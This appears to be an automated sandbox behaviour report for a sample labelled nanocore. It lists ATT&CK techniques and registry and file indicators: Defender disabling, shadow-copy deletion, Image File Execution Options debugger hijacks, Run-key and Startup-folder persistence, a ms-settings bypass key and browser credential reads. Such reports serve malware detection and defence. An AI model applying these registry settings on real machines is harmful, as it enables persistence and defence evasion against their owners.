nanocore | b089f14abbfe92705b72a7a762193ec7e96a468e41a49824f2b1aaf0375a0b5b

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	aerobridge.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4248	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	aerobridge.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	aerobridge.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aerobridge.io_chrome.exe"	aerobridge.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	aerobridge.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aerobridge.io_chrome.exe"	aerobridge.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	aerobridge.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aerobridge.io_chrome.exe"	aerobridge.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	aerobridge.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
312	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	aerobridge.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	aerobridge.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	aerobridge.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aerobridge.io_chrome.exe"	aerobridge.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aerobridge.io_chrome.exe"	aerobridge.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aerobridge.io_chrome.exe"	aerobridge.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
6008	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	aerobridge.io_chrome.exe
File created	C:\Windows\system32\svchost.exe	aerobridge.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	aerobridge.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4476	wscript.exe
2976	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	aerobridge.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	aerobridge.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3640	sc.exe
2000	sc.exe
3772	sc.exe
264	sc.exe
256	sc.exe
2564	sc.exe
5840	sc.exe
1760	sc.exe
4368	sc.exe
2132	sc.exe
5300	sc.exe
4644	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
264	cmd.exe
2680	cmd.exe
2512	cmd.exe
2972	cmd.exe
1056	cmd.exe
5776	cmd.exe
6064	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3796	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4288	NETSTAT.EXE
392	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2648	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2660	vssadmin.exe
1196	vssadmin.exe
2032	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2"	aerobridge.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134307153383054425"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	aerobridge.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\aerobridge.io_chrome.exe"	aerobridge.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	aerobridge.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	aerobridge.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute	aerobridge.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	aerobridge.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	aerobridge.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	aerobridge.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	aerobridge.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\aerobridge.io_chrome.exe\" \"%1\""	aerobridge.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	aerobridge.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	aerobridge.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	aerobridge.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	aerobridge.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	aerobridge.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	aerobridge.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1204	schtasks.exe
1080	schtasks.exe
4776	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2568	chrome.exe
2568	chrome.exe
4248	powershell.exe
4248	powershell.exe
4248	powershell.exe
800	WMIC.exe
800	WMIC.exe
800	WMIC.exe
800	WMIC.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
5316	WMIC.exe
5316	WMIC.exe
5316	WMIC.exe
5316	WMIC.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
2548	WMIC.exe
2548	WMIC.exe
2548	WMIC.exe
2548	WMIC.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe
4984	aerobridge.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4984	aerobridge.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeIncreaseQuotaPrivilege	800	WMIC.exe
Token: SeSecurityPrivilege	800	WMIC.exe
Token: SeTakeOwnershipPrivilege	800	WMIC.exe
Token: SeLoadDriverPrivilege	800	WMIC.exe
Token: SeSystemProfilePrivilege	800	WMIC.exe
Token: SeSystemtimePrivilege	800	WMIC.exe
Token: SeProfSingleProcessPrivilege	800	WMIC.exe
Token: SeIncBasePriorityPrivilege	800	WMIC.exe
Token: SeCreatePagefilePrivilege	800	WMIC.exe
Token: SeBackupPrivilege	800	WMIC.exe
Token: SeRestorePrivilege	800	WMIC.exe
Token: SeShutdownPrivilege	800	WMIC.exe
Token: SeDebugPrivilege	800	WMIC.exe
Token: SeSystemEnvironmentPrivilege	800	WMIC.exe
Token: SeRemoteShutdownPrivilege	800	WMIC.exe
Token: SeUndockPrivilege	800	WMIC.exe
Token: SeManageVolumePrivilege	800	WMIC.exe
Token: 33	800	WMIC.exe
Token: 34	800	WMIC.exe
Token: 35	800	WMIC.exe
Token: 36	800	WMIC.exe
Token: SeIncreaseQuotaPrivilege	800	WMIC.exe
Token: SeSecurityPrivilege	800	WMIC.exe
Token: SeTakeOwnershipPrivilege	800	WMIC.exe
Token: SeLoadDriverPrivilege	800	WMIC.exe
Token: SeSystemProfilePrivilege	800	WMIC.exe
Token: SeSystemtimePrivilege	800	WMIC.exe
Token: SeProfSingleProcessPrivilege	800	WMIC.exe
Token: SeIncBasePriorityPrivilege	800	WMIC.exe
Token: SeCreatePagefilePrivilege	800	WMIC.exe
Token: SeBackupPrivilege	800	WMIC.exe
Token: SeRestorePrivilege	800	WMIC.exe
Token: SeShutdownPrivilege	800	WMIC.exe
Token: SeDebugPrivilege	800	WMIC.exe
Token: SeSystemEnvironmentPrivilege	800	WMIC.exe
Token: SeRemoteShutdownPrivilege	800	WMIC.exe
Token: SeUndockPrivilege	800	WMIC.exe
Token: SeManageVolumePrivilege	800	WMIC.exe
Token: 33	800	WMIC.exe
Token: 34	800	WMIC.exe
Token: 35	800	WMIC.exe
Token: 36	800	WMIC.exe
Token: SeBackupPrivilege	1716	vssvc.exe
Token: SeRestorePrivilege	1716	vssvc.exe
Token: SeAuditPrivilege	1716	vssvc.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe
Token: SeShutdownPrivilege	2568	chrome.exe
Token: SeCreatePagefilePrivilege	2568	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe
2568	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4984	aerobridge.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4984 wrote to memory of 2568	4984	aerobridge.io_chrome.exe	89
PID 2568 wrote to memory of 2256	2568	chrome.exe	90
PID 4984 wrote to memory of 4248	4984	aerobridge.io_chrome.exe	91
PID 4984 wrote to memory of 2564	4984	aerobridge.io_chrome.exe	93
PID 4984 wrote to memory of 5840	4984	aerobridge.io_chrome.exe	95
PID 4984 wrote to memory of 1760	4984	aerobridge.io_chrome.exe	97
PID 2568 wrote to memory of 3796	2568	chrome.exe	98
PID 2568 wrote to memory of 4928	2568	chrome.exe	100
PID 2568 wrote to memory of 4928	2568	chrome.exe	100
PID 2568 wrote to memory of 5068	2568	chrome.exe	99
PID 2568 wrote to memory of 5068	2568	chrome.exe	99
PID 2568 wrote to memory of 2532	2568	chrome.exe	103
PID 2568 wrote to memory of 2532	2568	chrome.exe	103
PID 2568 wrote to memory of 5000	2568	chrome.exe	104
PID 2568 wrote to memory of 5000	2568	chrome.exe	104
PID 4984 wrote to memory of 4368	4984	aerobridge.io_chrome.exe	105
PID 4984 wrote to memory of 3640	4984	aerobridge.io_chrome.exe	107
PID 4984 wrote to memory of 2000	4984	aerobridge.io_chrome.exe	109
PID 4984 wrote to memory of 2132	4984	aerobridge.io_chrome.exe	111
PID 4984 wrote to memory of 3772	4984	aerobridge.io_chrome.exe	113
PID 2568 wrote to memory of 1096	2568	chrome.exe	115
PID 2568 wrote to memory of 1096	2568	chrome.exe	115
PID 4984 wrote to memory of 1812	4984	aerobridge.io_chrome.exe	116
PID 4984 wrote to memory of 264	4984	aerobridge.io_chrome.exe	144
PID 4984 wrote to memory of 256	4984	aerobridge.io_chrome.exe	119
PID 4984 wrote to memory of 2660	4984	aerobridge.io_chrome.exe	121
PID 2568 wrote to memory of 5932	2568	chrome.exe	122
